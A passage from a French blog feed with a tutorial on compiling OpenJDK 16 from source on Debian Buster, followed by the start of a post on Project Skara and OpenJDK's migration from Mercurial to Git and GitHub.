&lt;p&gt;Debianiste, je vais travailler naturellement sur mon environnement préféré : Debian Buster&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;git&quot;&gt;Git&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le code source est disponible à l&amp;#8217;adresse suivante : &lt;a href=&quot;https://git.openjdk.java.net/jdk&quot; class=&quot;bare&quot;&gt;https://git.openjdk.java.net/jdk&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;imageblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;img src=&quot;/resources/img/blog/2021/github-openjdk-main-line.png&quot; alt=&quot;github openjdk main line&quot;&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Il suffira de choisir son dépôt. Nous prendrons le dépôt correspondant au prochain JDK, soit &lt;a href=&quot;https://git.openjdk.java.net/jdk16.git&quot; class=&quot;bare&quot;&gt;https://git.openjdk.java.net/jdk16.git&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;outils_de_compilation&quot;&gt;Outils de compilation&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Une partie du JDK est écrit en C++, il est donc naturel d&amp;#8217;avoir besoin des outils de compilation de Linux. Les outils sont les classiques sur votre distribution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous le verrons, nous aurons besoin de certains librairies de dev pour réaliser les compilations. Ces packages sont reconnaissables car leur nom fini par -dev. Nous avons par exemple le package libx11-dev pour l&amp;#8217;interface graphique X11. Elle contient notamment les en-têtes nécessaires pour la phase de compilation.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le JDK utilise l&amp;#8217;outil configure pour préparer la compilation et s&amp;#8217;assurer que les pré-requis sont présents. Si cela n&amp;#8217;est pas le cas, un message d&amp;#8217;erreur sera affiché.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code&gt;Autoconf is not found on the PATH (/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin), and AUTOCONF is not set.
You need autoconf to be able to generate a runnable configure script.
You might be able to fix this by running &apos;sudo apt-get install autoconf&apos;.
Error: Cannot find autoconf&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;erreur indique bien que l&amp;#8217;outil autoconf n&amp;#8217;a pas été trouvé. Il est nécessaire de l&amp;#8217;installer avec la commande suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;apt-get install autoconf&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;jdk&quot;&gt;JDK&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour compiler un JDK, il faut un JDK. C&amp;#8217;est ce que l&amp;#8217;on appelle le &quot;Boot JDK&quot;.
Cela peut paraître paradoxalement, mais en réalité, c&amp;#8217;est très logique. La plupart du code du JDK est du Java (cf le graphique ci-dessous)&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;imageblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;img src=&quot;/resources/img/blog/2021/jdk16-languages.png&quot; alt=&quot;jdk16 languages&quot;&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Il est donc nécessaire d&amp;#8217;avoir un JDK pour compiler le code Java.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;les_étapes&quot;&gt;Les étapes.&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;1_préambule&quot;&gt;1. Préambule&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;J&amp;#8217;utilise une VM Debian Buster minimale. Donc j&amp;#8217;ai naturellement besoin d&amp;#8217;installer l&amp;#8217;outil Git et l&amp;#8217;outil de compression Zip.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;apt-get install git zip&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;2_récupération_des_sources&quot;&gt;2. Récupération des sources&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Je passe ensuite à la récupération effective des sources :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;cd /opt
mkdir sources
cd sources
git clone https://git.openjdk.java.net/jdk16.git&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;3_récupération_du_jdk&quot;&gt;3. Récupération du JDK&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Comme précisé plus haut, il est nécessaire d&amp;#8217;avoir un JDK. Pour cela, il faut un JDK N-1 ou N-2 pour réaliser la compilation.
Donc pour le JDK 16, je vais prendre un JDK 15 auprès du projet &lt;a href=&quot;https://adoptopenjdk.net/?variant=openjdk15&amp;amp;jvmVariant=hotspot&quot;&gt;AdoptOpenJDK&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;cd /opt
wget https://github.com/AdoptOpenJDK/openjdk15-binaries/releases/download/jdk-15.0.1%2B9/OpenJDK15U-jdk_x64_linux_hotspot_15.0.1_9.tar.gz
tar xzvf OpenJDK15U-jdk_x64_linux_hotspot_15.0.1_9.tar.gz
export JAVA_HOME=/opt/jdk-15.0.1+9/&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;4_configuration_des_outils&quot;&gt;4. Configuration des outils&lt;/h3&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;  Comme cité plus haut, vous pouvez utiliser l&amp;#8217;outil configure pour vérifier les pré-requis et savoir ce qu&amp;#8217;il vous manque. Ainsi, vous pouvez les installer au fur et à mesure. Dans ce chapitre, vous trouverez toute la liste selon les catégories.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Il faut passer maintenant à l&amp;#8217;installation des outils de compilation Linux.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;apt-get install autoconf build-essential&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous installons aussi les libraires nécessaires&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Librairies X11&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;apt-get install libx11-dev libxext-dev libxrender-dev libxrandr-dev libxtst-dev libxt-dev&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Librairie CUPS (Imprimante)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;apt-get install libcups2-dev&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Librairie pour la configuration des polices&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;apt-get install libfontconfig1-dev&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Librairie Alsa pour le son&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;apt-get install libasound2-dev&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Tous les pré-requis sont là, vous pouvez exécuter la commande &lt;em&gt;configure&lt;/em&gt; pour valider cette étape.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;cd /opt/sources/jdk16
bash configure&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Si tout est ok, vous obtenez un résumé de votre configuration&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;====================================================
A new configuration has been successfully created in
/opt/sources/jdk16/build/linux-x86_64-server-release
using default settings.

Configuration summary:
* Name:           linux-x86_64-server-release
* Debug level:    release
* HS debug level: product
* JVM variants:   server
* JVM features:   server: &apos;aot cds compiler1 compiler2 epsilongc g1gc graal jfr jni-check jvmci jvmti management nmt parallelgc serialgc services shenandoahgc vm-structs zgc&apos;
* OpenJDK target: OS: linux, CPU architecture: x86, address length: 64
* Version string: 16-internal+0-adhoc.root.jdk16 (16-internal)

Tools summary:
* Boot JDK:       openjdk version &quot;15.0.1&quot; 2020-10-20 OpenJDK Runtime Environment AdoptOpenJDK (build 15.0.1+9) OpenJDK 64-Bit Server VM AdoptOpenJDK (build 15.0.1+9, mixed mode, sharing) (at /opt/jdk-15.0.1+9)
* Toolchain:      gcc (GNU Compiler Collection)
* C Compiler:     Version 8.3.0 (at /usr/bin/gcc)
* C++ Compiler:   Version 8.3.0 (at /usr/bin/g++)

Build performance summary:
* Cores to use:   1
* Memory limit:   1009 MB&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;  Vous pourrez remarquer que j&amp;#8217;ai pris une petite VM avec 1 Cpu et 1Go. La configuration recommandée est 2-4 coeurs et 2-4 Go (Plus vous avez des CPU, plus vous avez besoin de Mémoire)&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;5_lancement_de_la_compilation&quot;&gt;5. Lancement de la compilation&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Tout est bon, nous pouvons lancer la commande pour la compilation :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;cd /opt/sources/jdk16
make images&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Voici la sortie console de l&amp;#8217;exécution de la commande.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;Building target &apos;images&apos; in configuration &apos;linux-x86_64-server-release&apos;
Compiling 8 files for BUILD_TOOLS_LANGTOOLS
Compiling 16 properties into resource bundles for jdk.compiler
Parsing 2 properties into enum-like class for jdk.compiler
Compiling 13 properties into resource bundles for jdk.javadoc
Compiling 127 files for BUILD_java.compiler.interim
...
Creating jdk image
Creating CDS archive for jdk image
Creating CDS-NOCOOPS archive for jdk image
Updating images/sec-bin.zip
Stopping sjavac server
Finished building target &apos;images&apos; in configuration &apos;linux-x86_64-server-release&apos;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;6_vérification_et_utilisation&quot;&gt;6. Vérification et utilisation&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Ca y est, nous avons notre propre JDK. Il est disponible dans le répertoire build/linux-x86_64-server-release/images/jdk&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;root@buster:/opt/sources/jdk16/build/linux-x86_64-server-release/images/jdk# ls -al
total 44
drwxr-xr-x 10 root root 4096 Jan 10 12:42 .
drwxr-xr-x  6 root root 4096 Jan 10 12:42 ..
drwxr-xr-x  2 root root 4096 Jan 10 12:42 bin
drwxr-xr-x  5 root root 4096 Jan 10 12:42 conf
drwxr-xr-x  4 root root 4096 Jan 10 12:42 demo
drwxr-xr-x  3 root root 4096 Jan 10 12:42 include
drwxr-xr-x  2 root root 4096 Jan 10 12:42 jmods
drwxr-xr-x 72 root root 4096 Jan 10 12:42 legal
drwxr-xr-x  5 root root 4096 Jan 10 12:42 lib
drwxr-xr-x  3 root root 4096 Jan 10 12:42 man
-rw-r--r--  1 root root 1188 Jan 10 12:42 release&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Il ne manque plus qu&amp;#8217;à l&amp;#8217;utiliser. Pour cela, nous allons démarrer la JVM avec l&amp;#8217;option -version&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;bin/java -version
openjdk version &quot;16-internal&quot; 2021-03-16
OpenJDK Runtime Environment (build 16-internal+0-adhoc.root.jdk16)
OpenJDK 64-Bit Server VM (build 16-internal+0-adhoc.root.jdk16, mixed mode, sharing)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;  Pour réellement tester le nouveau JDK, vous pouvez exécuter la commande &lt;em&gt;make run-test-tier1&lt;/em&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;7_bonus&quot;&gt;7. Bonus&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous avons utilisé la cible &lt;em&gt;images&lt;/em&gt; en utilisant la commande :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;make images&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En réalité, il existe toute une série de cible de l&amp;#8217;outil &lt;em&gt;make&lt;/em&gt;. Celle-que j&amp;#8217;aime bien, c&amp;#8217;est la cible &lt;em&gt;bootcycle-images&lt;/em&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;make bootcycles-images&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela permet de construire les images deux fois, dont la seconde fois est réalisée avec le JDK construit lors de la première passe.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://fr.slideshare.net/jpaumard/construire-son-jdk-en-10-tapes&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Construire son JDK en 10 étapes&lt;/a&gt; de &lt;a href=&quot;https://twitter.com/JosePaumard&quot;&gt;José Paumard&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/openjdk/jdk16/blob/master/doc/building.md&quot;&gt;Building the JDK (en)&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Projet Skara, C&amp;#8217;est quoi donc ?</title>
      <link>https://www.lilian-benoit.fr/2021/01/Projet_Skara_C_est_quoi.html</link>
      <pubDate>dim., 3 janv. 2021 00:00:00 +0100</pubDate>
      <guid isPermaLink="false">2021/01/Projet_Skara_C_est_quoi.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#historique&quot;&gt;Historique&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#passage_de_mercurial_à_git_objectifs&quot;&gt;Passage de Mercurial à Git (Objectifs)&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#migration_de_tous_les_référentiels_openjdk&quot;&gt;Migration de tous les référentiels OpenJDK&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#préserver_lhistorique&quot;&gt;Préserver l’historique&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#porter_les_outils&quot;&gt;Porter les outils&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#passage_de_mercurial_à_git_motivations&quot;&gt;Passage de Mercurial à Git (Motivations)&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#taille_des_méta_données&quot;&gt;Taille des méta-données&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#outils&quot;&gt;Outils&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#hébergement&quot;&gt;Hébergement&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#communauté&quot;&gt;Communauté&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#migration_sous_github&quot;&gt;Migration sous Github&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#le_fournisseur_retenu&quot;&gt;Le fournisseur retenu&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#etapes_préparatoires&quot;&gt;Etapes préparatoires&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#la_bascule&quot;&gt;La bascule&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#conclusion&quot;&gt;Conclusion&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Plusieurs projets sont en cours au niveau d&apos; OpenJDK. L&amp;#8217;objectif d&amp;#8217;un projet est de fournir un travail collectif pour produire un artefact spécifique. Celui peut être du code, de la documentation, ou n&amp;#8217;importe quel matériel. Commençons par le projet &lt;strong&gt;Skara&lt;/strong&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;imageblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;img src=&quot;/resources/img/blog/2021/logo-projet-skara.png&quot; alt=&quot;logo projet skara&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;title&quot;&gt;Figure 1. Logo du projet Skara&lt;/div&gt;
&lt;/div&gt;
&lt;hr&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En effet ce dernier est sous les feux des projecteurs avec deux JEP dans le JDK 16.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/357&quot;&gt;JEP 357 Migrate from Mercurial to Git&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/369&quot;&gt;JEP 369 Migrate to GitHub&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Via ces deux JEP, nous pouvons voir que le projet a procédé par étape : choix vers un nouveau gestionnaire (si besoin), puis d&amp;#8217;un hébergeur.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;historique&quot;&gt;Historique&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le projet a été créé en septembre 2018 (&lt;a href=&quot;http://mail.openjdk.java.net/pipermail/skara-dev/2018-September/000000.html&quot;&gt;Welcome to skara-dev&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L’objectif du projet est d’étudier les alternatives à Mercurial pour le gestionnaire de sources et les différents fournisseurs. Ce qui intéressant dans la démarche, c&amp;#8217;est qu&amp;#8217;il dissocie le choix de gestionnaire de sources et le choix de l&amp;#8217;hébergeur.
Le choix de Mercurial avait été fait par Sun Microsystems en 2006.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Il faut noter qu&amp;#8217;il y a eu la &lt;a href=&quot;https://openjdk.java.net/jeps/296&quot;&gt;JEP 296&lt;/a&gt; inclus dans le JDK 10 (Mars 2018) sur la consolidation des dépôts en un seul. En effet, le code du JDK était réparti sur différents dépôts : racine, corba, hotspot, jaxp, jaxws, jdk, langtools et nashorn.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;imageblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;img src=&quot;/resources/img/blog/2021/depot-mercurial-openjdk-jdk8.png&quot; alt=&quot;depot mercurial openjdk jdk8&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;title&quot;&gt;Figure 2. Dépôt mercurial du JDK 8&lt;/div&gt;
&lt;/div&gt;
&lt;hr&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;objectif de ce regroupement est de simplifier le travail des développeurs. En effet, un correctif impliquait très souvent plusieurs dépôts. Les développeurs devaient réaliser plusieurs &apos;commit&apos; sur différents dépôts. Cela compliquait leur travail et pouvait être une source d&amp;#8217;erreurs.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; Il est à noter que Nashorn introduit dans le JDK 8 n&amp;#8217;est plus fourni dans le JDK depuis la version 15, mais il reste en tant que projet autonome (&lt;a href=&quot;https://git.openjdk.java.net/nashorn&quot;&gt;dépôt du projet&lt;/a&gt;).&lt;/p&gt;
&lt;/div&gt;
&lt;hr&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;passage_de_mercurial_à_git_objectifs&quot;&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/357&quot;&gt;Passage de Mercurial à Git&lt;/a&gt; (Objectifs)&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;migration_de_tous_les_référentiels_openjdk&quot;&gt;Migration de tous les référentiels OpenJDK&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela consiste à migrer tous les référentiels mono-repo vers Git. Cela signifie que les dépôts à partir du JDK 10 sont disponibles sous GIT (cf la section Historique).&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;  Nous retrouvons l&amp;#8217;intérêt du travail préparatoire consistant à fusionner plusieurs dépôts en un seul (&lt;a href=&quot;https://openjdk.java.net/jeps/296&quot;&gt;JEP 296&lt;/a&gt;).&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;préserver_lhistorique&quot;&gt;Préserver l’historique&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Au delà, de déposer l&amp;#8217;ensemble des sources sur le nouveau gestionnaire de sources, la préoccupation de l&amp;#8217;équipe a été de préserver l&amp;#8217;historique. Dans ce sens, un outil de traduction de hash Mercurial vers un hash Git a été développé (cf. section suivante).&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;porter_les_outils&quot;&gt;Porter les outils&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;C&amp;#8217;est aussi les modifications des outils utilisés par le projet afin qu&amp;#8217;ils fonctionnent avec git.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
